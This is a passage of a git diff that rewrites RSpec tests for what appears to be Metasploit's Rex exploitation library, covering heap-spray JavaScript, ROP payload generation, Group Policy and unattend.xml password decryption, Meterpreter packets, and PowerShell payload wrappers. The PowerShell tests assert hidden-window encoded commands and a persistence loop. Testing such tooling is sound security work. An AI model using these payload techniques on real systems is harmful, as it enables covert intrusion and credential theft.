a/spec/lib/rex/exploitation/js/memory_spec.rb +++ b/spec/lib/rex/exploitation/js/memory_spec.rb @@ -7,21 +7,21 @@ RSpec.describe Rex::Exploitation::Js::Memory do context ".mstime_malloc" do it "should load the mstime_malloc javascript" do js = Rex::Exploitation::Js::Memory.mstime_malloc - js.should =~ /function mstime_malloc/ + expect(js).to =~ /function mstime_malloc/ end end context ".property_spray" do it "should load the property_spray javascript" do js = Rex::Exploitation::Js::Memory.property_spray - js.should =~ /function sprayHeap/ + expect(js).to =~ /function sprayHeap/ end end context ".heap_spray" do it "should load the heap_spray javascript" do js = Rex::Exploitation::Js::Memory.heap_spray - js.should =~ /function sprayHeap/ + expect(js).to =~ /function sprayHeap/ end end diff --git a/spec/lib/rex/exploitation/js/network_spec.rb b/spec/lib/rex/exploitation/js/network_spec.rb index 34891e4866..61ad8a5c71 100644 --- a/spec/lib/rex/exploitation/js/network_spec.rb +++ b/spec/lib/rex/exploitation/js/network_spec.rb @@ -7,14 +7,14 @@ RSpec.describe Rex::Exploitation::Js::Network do context ".ajax_download" do it "should load the ajax_download javascript" do js = Rex::Exploitation::Js::Network.ajax_download - js.should =~ /function ajax_download/ + expect(js).to =~ /function ajax_download/ end end context ".ajax_post" do it "should load the postInfo javascript" do js = Rex::Exploitation::Js::Network.ajax_post - js.should =~ /function postInfo/ + expect(js).to =~ /function postInfo/ end end diff --git a/spec/lib/rex/exploitation/js/utils_spec.rb b/spec/lib/rex/exploitation/js/utils_spec.rb index 240d4ad0ec..2d4d0043f3 100644 --- a/spec/lib/rex/exploitation/js/utils_spec.rb +++ b/spec/lib/rex/exploitation/js/utils_spec.rb @@ -7,7 +7,7 @@ RSpec.describe Rex::Exploitation::Js::Utils do context ".base64" do it "should load the base64 javascript" do js = Rex::Exploitation::Js::Utils.base64 - js.should =~ /encode : function/ + expect(js).to =~ /encode : function/ end end diff --git a/spec/lib/rex/exploitation/ropdb_spec.rb b/spec/lib/rex/exploitation/ropdb_spec.rb index 8a2e2aa82a..e8088418dd 100644 --- a/spec/lib/rex/exploitation/ropdb_spec.rb +++ b/spec/lib/rex/exploitation/ropdb_spec.rb @@ -10,41 +10,41 @@ RSpec.describe Rex::Exploitation::RopDb do context ".initialize" do it "should initialize with a path of the ROP database ready" do - ropdb.instance_variable_get(:@base_path).should =~ /data\/ropdb\/$/ + expect(ropdb.instance_variable_get(:@base_path)).to =~ /data\/ropdb\/$/ end end context ".has_rop?" do it "should find the msvcrt ROP database" do - ropdb.has_rop?("msvcrt").should be_truthy + expect(ropdb.has_rop?("msvcrt")).to be_truthy end it "should find the java ROP database" do - ropdb.has_rop?("java").should be_truthy + expect(ropdb.has_rop?("java")).to be_truthy end it "should find the hxds ROP database" do - ropdb.has_rop?("hxds").should be_truthy + expect(ropdb.has_rop?("hxds")).to be_truthy end it "should find the flash ROP database" do - ropdb.has_rop?("flash").should be_truthy + expect(ropdb.has_rop?("flash")).to be_truthy end it "should return false when I supply an invalid database" do - ropdb.has_rop?("sinn3r").should be_falsey + expect(ropdb.has_rop?("sinn3r")).to be_falsey end end context ".select_rop" do it "should return msvcrt gadgets" do gadgets = ropdb.select_rop('msvcrt') - gadgets.length.should > 0 + expect(gadgets.length).to > 0 end it "should return msvcrt gadgets for windows server 2003" do gadgets = ropdb.select_rop('msvcrt', {'target'=>'2003'}) - gadgets.length.should > 0 + expect(gadgets.length).to > 0 end it "should return msvcrt gadgets with a new base" do @@ -57,27 +57,27 @@ RSpec.describe Rex::Exploitation::RopDb do context ".generate_rop_payload" do it "should generate my ROP payload" do - ropdb.generate_rop_payload('msvcrt', 'AAAA').should =~ /AAAA$/ + expect(ropdb.generate_rop_payload('msvcrt', 'AAAA')).to =~ /AAAA$/ end it "should generate my ROP payload with my stack pivot" do - ropdb.generate_rop_payload('msvcrt', 'AAAA', {'pivot'=>'BBBB'}).should =~ /^BBBB/ + expect(ropdb.generate_rop_payload('msvcrt', 'AAAA', {'pivot'=>'BBBB'})).to =~ /^BBBB/ end end context ".get_safe_size" do it "should return 0xfffffed0 (value does not need to be modified to avoid null bytes)" do - ropdb.send(:get_safe_size, 304).should eq(0xfffffed0) + expect(ropdb.send(:get_safe_size, 304)).to eq(0xfffffed0) end it "should return 0xfffffeff (value is modified to avoid null bytes)" do - ropdb.send(:get_safe_size, 256).should eq(0xfffffeff) + expect(ropdb.send(:get_safe_size, 256)).to eq(0xfffffeff) end end context ".get_unsafe_size" do it "should return 0xfffffc00 (contains a null byte)" do - ropdb.send(:get_unsafe_size, 1024).should eq(0xfffffc00) + expect(ropdb.send(:get_unsafe_size, 1024)).to eq(0xfffffc00) end end diff --git a/spec/lib/rex/file_utils_spec.rb b/spec/lib/rex/file_utils_spec.rb index 5f4d2deef0..1230c0ee0e 100644 --- a/spec/lib/rex/file_utils_spec.rb +++ b/spec/lib/rex/file_utils_spec.rb @@ -5,53 +5,53 @@ RSpec.describe Rex::FileUtils do context ".normalize_win_path" do it "should convert an absolute path as an array into Windows format" do - described_class.normalize_win_path('C:\\', 'hello', 'world').should eq("C:\\hello\\world") + expect(described_class.normalize_win_path('C:\\', 'hello', 'world')).to eq("C:\\hello\\world") end it "should convert an absolute path as a string into Windows format" do - described_class.normalize_win_path('C:\\hello\\world').should eq("C:\\hello\\world") + expect(described_class.normalize_win_path('C:\\hello\\world')).to eq("C:\\hello\\world") end it "should convert a relative path" do - described_class.normalize_win_path('/', 'test', 'me').should eq("\\test\\me") - described_class.normalize_win_path('\\temp').should eq("\\temp") - described_class.normalize_win_path('temp').should eq("temp") + expect(described_class.normalize_win_path('/', 'test', 'me')).to eq("\\test\\me") + expect(described_class.normalize_win_path('\\temp')).to eq("\\temp") + expect(described_class.normalize_win_path('temp')).to eq("temp") end it "should keep the trailing slash if exists" do - described_class.normalize_win_path('/', 'test', 'me\\').should eq("\\test\\me\\") - described_class.normalize_win_path('\\temp\\').should eq("\\temp\\") + expect(described_class.normalize_win_path('/', 'test', 'me\\')).to eq("\\test\\me\\") + expect(described_class.normalize_win_path('\\temp\\')).to eq("\\temp\\") end it "should convert a path without reserved characters" do - described_class.normalize_win_path('C:\\', 'Windows:').should eq("C:\\Windows") - described_class.normalize_win_path('C:\\Windows???\\test').should eq("C:\\Windows\\test") + expect(described_class.normalize_win_path('C:\\', 'Windows:')).to eq("C:\\Windows") + expect(described_class.normalize_win_path('C:\\Windows???\\test')).to eq("C:\\Windows\\test") end it "should convert a path without double slashes" do - described_class.normalize_win_path('C:\\\\\\', 'Windows').should eq("C:\\Windows") - described_class.normalize_win_path('C:\\\\\\Hello World\\\\whatever.txt').should eq("C:\\Hello World\\whatever.txt") - described_class.normalize_win_path('C:\\\\').should eq("C:\\") - described_class.normalize_win_path('\\test\\\\test\\\\').should eq("\\test\\test\\") + expect(described_class.normalize_win_path('C:\\\\\\', 'Windows')).to eq("C:\\Windows") + expect(described_class.normalize_win_path('C:\\\\\\Hello World\\\\whatever.txt')).to eq("C:\\Hello World\\whatever.txt") + expect(described_class.normalize_win_path('C:\\\\')).to eq("C:\\") + expect(described_class.normalize_win_path('\\test\\\\test\\\\')).to eq("\\test\\test\\") end end context ".normalize_unix_path" do it "should convert an absolute path as an array into Unix format" do - described_class.normalize_unix_path('/etc', '/passwd').should eq("/etc/passwd") + expect(described_class.normalize_unix_path('/etc', '/passwd')).to eq("/etc/passwd") end it "should convert an absolute path as a string into Unix format" do - described_class.normalize_unix_path('/etc/passwd').should eq('/etc/passwd') + expect(described_class.normalize_unix_path('/etc/passwd')).to eq('/etc/passwd') end it "should still give me a trailing slash if I have it" do - described_class.normalize_unix_path('/etc/folder/').should eq("/etc/folder/") + expect(described_class.normalize_unix_path('/etc/folder/')).to eq("/etc/folder/") end it "should convert a path without double slashes" do - described_class.normalize_unix_path('//etc////passwd').should eq("/etc/passwd") - described_class.normalize_unix_path('/etc////', 'passwd').should eq('/etc/passwd') + expect(described_class.normalize_unix_path('//etc////passwd')).to eq("/etc/passwd") + expect(described_class.normalize_unix_path('/etc////', 'passwd')).to eq('/etc/passwd') end end diff --git a/spec/lib/rex/parser/group_policy_preferences_spec.rb b/spec/lib/rex/parser/group_policy_preferences_spec.rb index 4b4491ce55..a8d960eb2b 100644 --- a/spec/lib/rex/parser/group_policy_preferences_spec.rb +++ b/spec/lib/rex/parser/group_policy_preferences_spec.rb @@ -95,23 +95,23 @@ RSpec.describe Rex::Parser::GPP do ## it "Decrypt returns Local*P4ssword! for normal cpassword" do result = GPP.decrypt(cpassword_normal) - result.should eq("Local*P4ssword!") + expect(result).to eq("Local*P4ssword!") end it "Decrypt returns blank for bad cpassword" do result = GPP.decrypt(cpassword_bad) - result.should eq("") + expect(result).to eq("") end it "Decrypt returns blank for nil cpassword" do result = GPP.decrypt(nil) - result.should eq("") + expect(result).to eq("") end it 'Decrypts a cpassword containing junk padding' do cpassword_win2k8.each do |encrypted, expected| result = GPP.decrypt(encrypted) - result.should eq(expected) + expect(result).to eq(expected) end end @@ -120,21 +120,21 @@ RSpec.describe Rex::Parser::GPP do ## it "Parse returns empty [] for nil" do - GPP.parse(nil).should be_empty + expect(GPP.parse(nil)).to be_empty end it "Parse returns results for xml_ms and password is empty" do results = GPP.parse(xml_ms) results.should_not be_empty - results[0][:PASS].should be_empty + expect(results[0][:PASS]).to be_empty end it "Parse returns results for xml_datasrc, and attributes, and password is test1" do results = GPP.parse(xml_datasrc) results.should_not be_empty - results[0].include?(:ATTRIBUTES).should be_truthy + expect(results[0].include?(:ATTRIBUTES)).to be_truthy results[0][:ATTRIBUTES].should_not be_empty - results[0][:PASS].should eq("test") + expect(results[0][:PASS]).to eq("test") end xmls = [] diff --git a/spec/lib/rex/parser/nmap_xml_spec.rb b/spec/lib/rex/parser/nmap_xml_spec.rb index 5485dabea9..81b0a7ad51 100644 --- a/spec/lib/rex/parser/nmap_xml_spec.rb +++ b/spec/lib/rex/parser/nmap_xml_spec.rb @@ -32,15 +32,15 @@ RSpec.describe Rex::Parser::NmapXMLStreamParser do host.should_not be_nil end it "should populate the host with proper keys" do - host.should have_key("status") - host.should have_key("ports") - host.should have_key("addrs") - host["ports"].should be_a(Array) - host["addrs"].should be_a(Hash) + expect(host).to have_key("status") + expect(host).to have_key("ports") + expect(host).to have_key("addrs") + expect(host["ports"]).to be_a(Array) + expect(host["addrs"]).to be_a(Hash) end it "should find the address" do expect(host["addrs"].keys.length).to eq 1 - host["addrs"].should have_key("ipv4") + expect(host["addrs"]).to have_key("ipv4") expect(host["addrs"]["ipv4"]).to eq "192.168.0.1" end } diff --git a/spec/lib/rex/parser/unattend_spec.rb b/spec/lib/rex/parser/unattend_spec.rb index 6de56a4ac2..34a22d55cb 100644 --- a/spec/lib/rex/parser/unattend_spec.rb +++ b/spec/lib/rex/parser/unattend_spec.rb @@ -18,14 +18,14 @@ RSpec.describe Rex::Parser::Unattend do context "#parse" do it "returns passwords for b64" do results = described_class.parse(b64) - results.length.should eq(2) - results[0]['password'].should eq(Rex::Text.to_unicode('Temp123')) + expect(results.length).to eq(2) + expect(results[0]['password']).to eq(Rex::Text.to_unicode('Temp123')) end it "returns passwords for domain join" do results = described_class.parse(dj) - results.length.should eq(1) - results[0]['password'].should eq('Password1') + expect(results.length).to eq(1) + expect(results[0]['password']).to eq('Password1') end pos_xmls = [dj, b64, comb, std, lng] @@ -42,7 +42,7 @@ RSpec.describe Rex::Parser::Unattend do it "returns no results for negative examples" do neg_xmls.each do |xml| results = described_class.parse(xml) - results.should be_empty + expect(results).to be_empty end end end diff --git a/spec/lib/rex/post/meterpreter/packet_parser_spec.rb b/spec/lib/rex/post/meterpreter/packet_parser_spec.rb index 863136727d..decb87bbc6 100644 --- a/spec/lib/rex/post/meterpreter/packet_parser_spec.rb +++ b/spec/lib/rex/post/meterpreter/packet_parser_spec.rb @@ -28,7 +28,7 @@ RSpec.describe Rex::Post::Meterpreter::PacketParser do while @raw.length >0 parsed_packet = parser.recv(@sock) end - parsed_packet.should be_a Rex::Post::Meterpreter::Packet + expect(parsed_packet).to be_a Rex::Post::Meterpreter::Packet expect(parsed_packet.type).to eq Rex::Post::Meterpreter::PACKET_TYPE_REQUEST expect(parsed_packet.method?("test_method")).to eq true end diff --git a/spec/lib/rex/post/meterpreter/packet_spec.rb b/spec/lib/rex/post/meterpreter/packet_spec.rb index 216d7c9121..4a4546b098 100644 --- a/spec/lib/rex/post/meterpreter/packet_spec.rb +++ b/spec/lib/rex/post/meterpreter/packet_spec.rb @@ -10,39 +10,39 @@ RSpec.describe Rex::Post::Meterpreter::Tlv do } it "should respond to type" do - tlv.should respond_to :type + expect(tlv).to respond_to :type end it "should respond to value" do - tlv.should respond_to :value + expect(tlv).to respond_to :value end it "should respond to compress" do - tlv.should respond_to :compress + expect(tlv).to respond_to :compress end it "should respond to inspect" do - tlv.should respond_to :inspect + expect(tlv).to respond_to :inspect end it "should respond to meta_type?" do - tlv.should respond_to :meta_type? + expect(tlv).to respond_to :meta_type? end it "should respond to type?" do - tlv.should respond_to :type? + expect(tlv).to respond_to :type? end it "should respond to value?" do - tlv.should respond_to :value? + expect(tlv).to respond_to :value? end it "should respond to to_r" do - tlv.should respond_to :to_r + expect(tlv).to respond_to :to_r end it "should respond to from_r" do - tlv.should respond_to :from_r + expect(tlv).to respond_to :from_r end context "A String TLV" do @@ -132,63 +132,63 @@ RSpec.describe Rex::Post::Meterpreter::GroupTlv do } it "should respond to tlvs" do - group_tlv.should respond_to :tlvs + expect(group_tlv).to respond_to :tlvs end it "should respond to each" do - group_tlv.should respond_to :each + expect(group_tlv).to respond_to :each end it "should respond to each_tlv" do - group_tlv.should respond_to :each_tlv + expect(group_tlv).to respond_to :each_tlv end it "should respond to each_with_index" do - group_tlv.should respond_to :each_with_index + expect(group_tlv).to respond_to :each_with_index end it "should respond to each_tlv_with_index" do - group_tlv.should respond_to :each_tlv_with_index + expect(group_tlv).to respond_to :each_tlv_with_index end it "should respond to get_tlvs" do - group_tlv.should respond_to :get_tlvs + expect(group_tlv).to respond_to :get_tlvs end it "should respond to add_tlv" do - group_tlv.should respond_to :add_tlv + expect(group_tlv).to respond_to :add_tlv end it "should respond to add_tlvs" do - group_tlv.should respond_to :add_tlvs + expect(group_tlv).to respond_to :add_tlvs end it "should respond to get_tlv" do - group_tlv.should respond_to :get_tlv + expect(group_tlv).to respond_to :get_tlv end it "should respond to get_tlv_value" do - group_tlv.should respond_to :get_tlv_value + expect(group_tlv).to respond_to :get_tlv_value end it "should respond to get_tlv_values" do - group_tlv.should respond_to :get_tlv_values + expect(group_tlv).to respond_to :get_tlv_values end it "should respond to has_tlv?" do - group_tlv.should respond_to :has_tlv? + expect(group_tlv).to respond_to :has_tlv? end it "should respond to reset" do - group_tlv.should respond_to :reset + expect(group_tlv).to respond_to :reset end it "should respond to to_r" do - group_tlv.should respond_to :to_r + expect(group_tlv).to respond_to :to_r end it "should respond to from_r" do - group_tlv.should respond_to :from_r + expect(group_tlv).to respond_to :from_r end it "should return an empty array for tlvs by default" do @@ -231,12 +231,12 @@ RSpec.describe Rex::Post::Meterpreter::GroupTlv do it "should raise an error when given something other than nil or an array" do skip "RM #7598" - group_tlv.add_tlvs("bad value").should raise_error + expect(group_tlv.add_tlvs("bad value")).to raise_error end it "should raise an error when given an array of objects other than hashes" do skip "RM #7598" - group_tlv.add_tlvs([1,2,3]).should raise_error + expect(group_tlv.add_tlvs([1,2,3])).to raise_error end it "should raise an error when any of the hashes are missing a key" do @@ -245,7 +245,7 @@ RSpec.describe Rex::Post::Meterpreter::GroupTlv do {:type => Rex::Post::Meterpreter::TLV_TYPE_STRING, :value => "test"}, {:type => Rex::Post::Meterpreter::TLV_TYPE_STRING} ] - group_tlv.add_tlvs(tlv_array).should raise_error + expect(group_tlv.add_tlvs(tlv_array)).to raise_error end end @@ -373,35 +373,35 @@ RSpec.describe Rex::Post::Meterpreter::Packet do } it "should respond to created_at" do - packet.should respond_to :created_at + expect(packet).to respond_to :created_at end it "should respond to response?" do - packet.should respond_to :response? + expect(packet).to respond_to :response? end it "should respond to method?" do - packet.should respond_to :method? + expect(packet).to respond_to :method? end it "should respond to method" do - packet.should respond_to :method + expect(packet).to respond_to :method end it "should respond to result?" do - packet.should respond_to :result? + expect(packet).to respond_to :result? end it "should respond to result=" do - packet.should respond_to :result= + expect(packet).to respond_to :result= end it "should respond to result" do - packet.should respond_to :result + expect(packet).to respond_to :result end it "should respond to rid" do - packet.should respond_to :rid + expect(packet).to respond_to :rid end it "should return false for response?" do @@ -427,7 +427,7 @@ RSpec.describe Rex::Post::Meterpreter::Packet do end it "should return a valid request id" do - packet.rid.should =~ /\A\d{32}\Z/ + expect(packet.rid).to =~ /\A\d{32}\Z/ end it "should be created when Packet.create_request is called" do diff --git a/spec/lib/rex/powershell/command_spec.rb b/spec/lib/rex/powershell/command_spec.rb index 873c226368..90097191df 100644 --- a/spec/lib/rex/powershell/command_spec.rb +++ b/spec/lib/rex/powershell/command_spec.rb @@ -22,8 +22,8 @@ RSpec.describe Rex::Powershell::Command do describe "::encode_script" do it 'should read and encode a sample script file' do script = subject.encode_script(example_script) - script.should be - script.length.should be > 0 + expect(script).to be + expect(script.length).to be > 0 end end @@ -32,14 +32,14 @@ RSpec.describe Rex::Powershell::Command do it 'should create a compressed script' do script = File.read(example_script) compressed = subject.compress_script(script) - compressed.length.should be < script.length - compressed.include?('IO.Compression').should be_truthy + expect(compressed.length).to be < script.length + expect(compressed.include?('IO.Compression')).to be_truthy end it 'should create a compressed script with eof' do script = File.read(example_script) compressed = subject.compress_script(script, 'end_of_file') - compressed.include?('end_of_file').should be_truthy + expect(compressed.include?('end_of_file')).to be_truthy end end @@ -47,14 +47,14 @@ RSpec.describe Rex::Powershell::Command do it 'should strip comments' do script = File.read(example_script) compressed = subject.compress_script(script, nil, strip_comments: true) - compressed.length.should be < script.length + expect(compressed.length).to be < script.length end end context 'when strip_comment is false' do it 'shouldnt strip comments' do script = File.read(example_script) compressed = subject.compress_script(script, nil, strip_comments: false) - compressed.length.should be < script.length + expect(compressed.length).to be < script.length end end @@ -62,7 +62,7 @@ RSpec.describe Rex::Powershell::Command do it 'should strip whitespace' do script = File.read(example_script) compressed = subject.compress_script(script, nil, strip_comments: false, strip_whitespace: true) - decompress(compressed).length.should be < script.length + expect(decompress(compressed).length).to be < script.length end end @@ -78,7 +78,7 @@ RSpec.describe Rex::Powershell::Command do it 'should substitute variables' do script = File.read(example_script) compressed = subject.compress_script(script, nil, sub_vars: true) - decompress(compressed).include?('$hashes').should be_falsey + expect(decompress(compressed).include?('$hashes')).to be_falsey end end @@ -86,7 +86,7 @@ RSpec.describe Rex::Powershell::Command do it 'shouldnt substitute variables' do script = File.read(example_script) compressed = subject.compress_script(script, nil, sub_vars: false) - decompress(compressed).include?('$hashes').should be_truthy + expect(decompress(compressed).include?('$hashes')).to be_truthy end end @@ -94,7 +94,7 @@ RSpec.describe Rex::Powershell::Command do it 'should substitute functions' do script = File.read(example_script) compressed = subject.compress_script(script, nil, sub_funcs: true) - decompress(compressed).include?('DumpHashes').should be_falsey + expect(decompress(compressed).include?('DumpHashes')).to be_falsey end end @@ -102,7 +102,7 @@ RSpec.describe Rex::Powershell::Command do it 'shouldnt substitute variables' do script = File.read(example_script) compressed = subject.compress_script(script, nil, sub_funcs: false) - decompress(compressed).include?('DumpHashes').should be_truthy + expect(decompress(compressed).include?('DumpHashes')).to be_truthy end end end @@ -115,35 +115,35 @@ RSpec.describe Rex::Powershell::Command do context 'when x86 payload' do it 'should generate code' do code = subject.run_hidden_psh(payload, arch, encoded) - code.include?('syswow64').should be_truthy + expect(code.include?('syswow64')).to be_truthy end end context 'when x64 payload' do it 'should generate code' do code = subject.run_hidden_psh(payload, 'x86_64', encoded) - code.include?('sysnative').should be_truthy + expect(code.include?('sysnative')).to be_truthy end end context 'when encoded' do it 'should generate a code including an encoded command' do code = subject.run_hidden_psh(payload, arch, true) - code.include?('-nop -w hidden -e ').should be_truthy + expect(code.include?('-nop -w hidden -e ')).to be_truthy end end context 'when command' do it 'should generate code including a -c command' do code = subject.run_hidden_psh(payload, arch, encoded) - code.include?('-nop -w hidden -c ').should be_truthy + expect(code.include?('-nop -w hidden -c ')).to be_truthy end end context 'when old' do it 'should generate a code including unshorted args' do code = subject.run_hidden_psh(payload, arch, encoded, method: 'old') - code.include?('-NoProfile -WindowStyle hidden -NoExit -Command ').should be_truthy + expect(code.include?('-NoProfile -WindowStyle hidden -NoExit -Command ')).to be_truthy end end end @@ -168,71 +168,71 @@ RSpec.describe Rex::Powershell::Command do except = true end - except.should be_truthy + expect(except).to be_truthy end end context 'when persist is true' do it 'should add a persistance loop' do code = subject.cmd_psh_payload(payload, arch, template_path, persist: true, method: psh_method) - decompress(code).include?('while(1){Start-Sleep -s ').should be_truthy + expect(decompress(code).include?('while(1){Start-Sleep -s ')).to be_truthy end end context 'when persist is false' do it 'shouldnt add a persistance loop' do code = subject.cmd_psh_payload(payload, arch, template_path, persist: false, method: psh_method) - decompress(code).include?('while(1){Start-Sleep -s ').should be_falsey + expect(decompress(code).include?('while(1){Start-Sleep -s ')).to be_falsey end end context 'when prepend_sleep is set' do it 'should prepend sleep' do code = subject.cmd_psh_payload(payload, arch, template_path, prepend_sleep: 5, method: psh_method) - decompress(code).include?('Start-Sleep -s ').should be_truthy + expect(decompress(code).include?('Start-Sleep -s ')).to be_truthy end end context 'when prepend_sleep isnt set' do it 'shouldnt prepend sleep' do code = subject.cmd_psh_payload(payload, arch, template_path, method: psh_method) - decompress(code).include?('Start-Sleep -s ').should be_falsey + expect(decompress(code).include?('Start-Sleep -s ')).to be_falsey end end context 'when prepend_sleep is 0' do it 'shouldnt prepend sleep' do code = subject.cmd_psh_payload(payload, arch, template_path, prepend_sleep: 0, method: psh_method) - decompress(code).include?('Start-Sleep -s ').should be_falsey + expect(decompress(code).include?('Start-Sleep -s ')).to be_falsey end end context 'when method is old' do it 'should generate a command line' do code = subject.cmd_psh_payload(payload, arch, template_path, method: 'old') - decompress(code).include?('-namespace Win32Functions').should be_truthy + expect(decompress(code).include?('-namespace Win32Functions')).to be_truthy end it 'shouldnt shorten args' do code = subject.cmd_psh_payload(payload, arch, template_path, method: 'old') - code.include?('-NoProfile -WindowStyle hidden -Command').should be_truthy + expect(code.include?('-NoProfile -WindowStyle hidden -Command')).to be_truthy end it 'should include -NoExit' do code = subject.cmd_psh_payload(payload, arch, template_path, method: 'old') - code.include?('-NoProfile -WindowStyle hidden -NoExit -Command').should be_truthy + expect(code.include?('-NoProfile -WindowStyle hidden -NoExit -Command')).to be_truthy end end context 'when method is net' do it 'should generate a command line' do code = subject.cmd_psh_payload(payload, arch, template_path, method: 'net') - decompress(code).include?('System.Runtime.InteropServices;').should be_truthy + expect(decompress(code).include?('System.Runtime.InteropServices;')).to be_truthy end end context 'when method is reflection' do it 'should generate a command line' do code = subject.cmd_psh_payload(payload, arch, template_path, method: 'reflection') - decompress(code).include?('GlobalAssemblyCache').should be_truthy + expect(decompress(code).include?('GlobalAssemblyCache')).to be_truthy end end @@ -244,7 +244,7 @@ RSpec.describe Rex::Powershell::Command do rescue RuntimeError except = true end - except.should be_truthy + expect(except).to be_truthy end end @@ -256,14 +256,14 @@ RSpec.describe Rex::Powershell::Command do rescue RuntimeError except = true end - except.should be_truthy + expect(except).to be_truthy end end context 'when encode_inner_payload' do it 'should contain an inner payload with -e' do code = subject.cmd_psh_payload(payload, arch, template_path, encode_inner_payload: true, method: psh_method) - code.include?(' -e ').should be_truthy + expect(code.include?(' -e ')).to be_truthy end context 'when no_equals is true' do @@ -274,7 +274,7 @@ RSpec.describe Rex::Powershell::Command do rescue RuntimeError except = true end - except.should be_truthy + expect(except).to be_truthy end end end @@ -283,16 +283,16 @@ RSpec.describe Rex::Powershell::Command do context 'when no_equals is false' do it 'should contain a final payload with -e' do code = subject.cmd_psh_payload(payload, arch, template_path, encode_final_payload: true, no_equals: false, method: psh_method) - code.include?(' -e ').should be_truthy - code.include?(' -c ').should be_falsey + expect(code.include?(' -e ')).to be_truthy + expect(code.include?(' -c ')).to be_falsey end end context 'when no_equals is true' do it 'should contain a final payload with -e' do code = subject.cmd_psh_payload(payload, arch, template_path, encode_final_payload: true, no_equals: true, method: psh_method) - code.include?(' -e ').should be_truthy - code.include?(' -c ').should be_falsey - code.include?('=').should be_falsey + expect(code.include?(' -e ')).to be_truthy + expect(code.include?(' -c ')).to be_falsey + expect(code.include?('=')).to be_falsey end end context 'when encode_inner_payload is true' do @@ -303,7 +303,7 @@ RSpec.describe Rex::Powershell::Command do rescue RuntimeError except = true end - except.should be_truthy + expect(except).to be_truthy end end end @@ -311,14 +311,14 @@ RSpec.describe Rex::Powershell::Command do context 'when remove_comspec' do it 'shouldnt contain %COMSPEC%' do code = subject.cmd_psh_payload(payload, arch, template_path, remove_comspec: true, method: psh_method) - code.include?('%COMSPEC%').should be_falsey + expect(code.include?('%COMSPEC%')).to be_falsey end end context 'when use single quotes' do it 'should wrap in single quotes' do code = subject.cmd_psh_payload(payload, arch, template_path, use_single_quotes: true, method: psh_method) - code.include?(' -c \'').should be_truthy + expect(code.include?(' -c \'')).to be_truthy end end end @@ -327,33 +327,33 @@ RSpec.describe Rex::Powershell::Command do it 'should contain no full stop when :no_full_stop' do opts = {:no_full_stop => true} command = subject.generate_psh_command_line(opts) - command.include?("powershell ").should be_truthy + expect(command.include?("powershell ")).to be_truthy end it 'should contain full stop unless :no_full_stop' do opts = {} command = subject.generate_psh_command_line(opts) - command.include?("powershell.exe ").should be_truthy + expect(command.include?("powershell.exe ")).to be_truthy opts = {:no_full_stop => false} command = subject.generate_psh_command_line(opts) - command.include?("powershell.exe ").should be_truthy + expect(command.include?("powershell.exe ")).to be_truthy end it 'should ensure the path should always ends with \\' do opts = {:path => "test"} command = subject.generate_psh_command_line(opts) - command.include?("test\\powershell.exe ").should be_truthy + expect(command.include?("test\\powershell.exe ")).to be_truthy opts = {:path => "test\\"} command = subject.generate_psh_command_line(opts) - command.include?("test\\powershell.exe ").should be_truthy + expect(command.include?("test\\powershell.exe ")).to be_truthy end end describe "::generate_psh_args" do it 'should return empty string for nil opts' do - subject.generate_psh_args(nil).should eql "" + expect(subject.generate_psh_args(nil)).to eql "" end command_args = [[:encodedcommand, "parp"], @@ -387,16 +387,16 @@ RSpec.describe Rex::Powershell::Command do short_args.should_not be_nil long_args.should_not be_nil - short_args.count('-').should eql opt_length - long_args.count('-').should eql opt_length + expect(short_args.count('-')).to eql opt_length + expect(long_args.count('-')).to eql opt_length short_args[0].should_not eql " " long_args[0].should_not eql " " short_args[-1].should_not eql " " long_args[-1].should_not eql " " if opts[:command] - long_args[-10..-1].should eql "-Command Z" - short_args[-4..-1].should eql "-c Z" + expect(long_args[-10..-1]).to eql "-Command Z" + expect(short_args[-4..-1]).to eql "-c Z" end end end diff --git a/spec/lib/rex/powershell/function_spec.rb b/spec/lib/rex/powershell/function_spec.rb index 8af62718fd..a40495f374 100644 --- a/spec/lib/rex/powershell/function_spec.rb +++ b/spec/lib/rex/powershell/function_spec.rb @@ -60,24 +60,24 @@ RSpec.describe Rex::Powershell::Function do describe "::initialize" do it 'should handle a function without params' do function = Rex::Powershell::Function.new(function_name, example_function_without_params) - function.name.should eq function_name - function.code.should eq example_function_without_params - function.to_s.include?("function #{function_name} #{example_function_without_params}").should be_truthy - function.params.should be_kind_of Array - function.params.empty?.should be_truthy + expect(function.name).to eq function_name + expect(function.code).to eq example_function_without_params + expect(function.to_s.include?("function #{function_name} #{example_function_without_params}")).to be_truthy + expect(function.params).to be_kind_of Array + expect(function.params.empty?).to be_truthy end it 'should handle a function with params' do function = Rex::Powershell::Function.new(function_name, example_function_with_params) - function.name.should eq function_name - function.code.should eq example_function_with_params - function.to_s.include?("function #{function_name} #{example_function_with_params}").should be_truthy - function.params.should be_kind_of Array - function.params.length.should be == 5 - function.params[0].klass.should eq 'Type[]' - function.params[0].name.should eq 'Parameters' - function.params[1].klass.should eq 'Type' - function.params[1].name.should eq 'ReturnType' + expect(function.name).to eq function_name + expect(function.code).to eq example_function_with_params + expect(function.to_s.include?("function #{function_name} #{example_function_with_params}")).to be_truthy + expect(function.params).to be_kind_of Array + expect(function.params.length).to be == 5 + expect(function.params[0].klass).to eq 'Type[]' + expect(function.params[0].name).to eq 'Parameters' + expect(function.params[1].klass).to eq 'Type' + expect(function.params[1].name).to eq 'ReturnType' end end diff --git a/spec/lib/rex/powershell/obfu_spec.rb b/spec/lib/rex/powershell/obfu_spec.rb index a56376c7d2..51e5cd5c86 100644 --- a/spec/lib/rex/powershell/obfu_spec.rb +++ b/spec/lib/rex/powershell/obfu_spec.rb @@ -144,88 +144,88 @@ lots \t of whitespace describe "::strip_comments" do it 'should strip a multiline comment' do subject.strip_comments - subject.code.should be - subject.code.should be_kind_of String - subject.code.include?('comment').should be_falsey + expect(subject.code).to be + expect(subject.code).to be_kind_of String + expect(subject.code.include?('comment')).to be_falsey end it 'should strip a single line comment' do subject.strip_comments - subject.code.should be - subject.code.should be_kind_of String - subject.code.include?('#').should be_falsey + expect(subject.code).to be + expect(subject.code).to be_kind_of String + expect(subject.code.include?('#')).to be_falsey end end describe "::strip_empty_lines" do it 'should strip extra windows new lines' do subject.strip_empty_lines - subject.code.should be - subject.code.should be_kind_of String + expect(subject.code).to be + expect(subject.code).to be_kind_of String res = (subject.code =~ /\r\n\r\n/) - res.should be_falsey + expect(res).to be_falsey end it 'should strip extra unix new lines' do subject.strip_empty_lines - subject.code.should be - subject.code.should be_kind_of String + expect(subject.code).to be + expect(subject.code).to be_kind_of String res = (subject.code =~ /\n\n/) - res.should be_falsey + expect(res).to be_falsey end end describe "::strip_whitespace" do it 'should strip additional whitespace' do 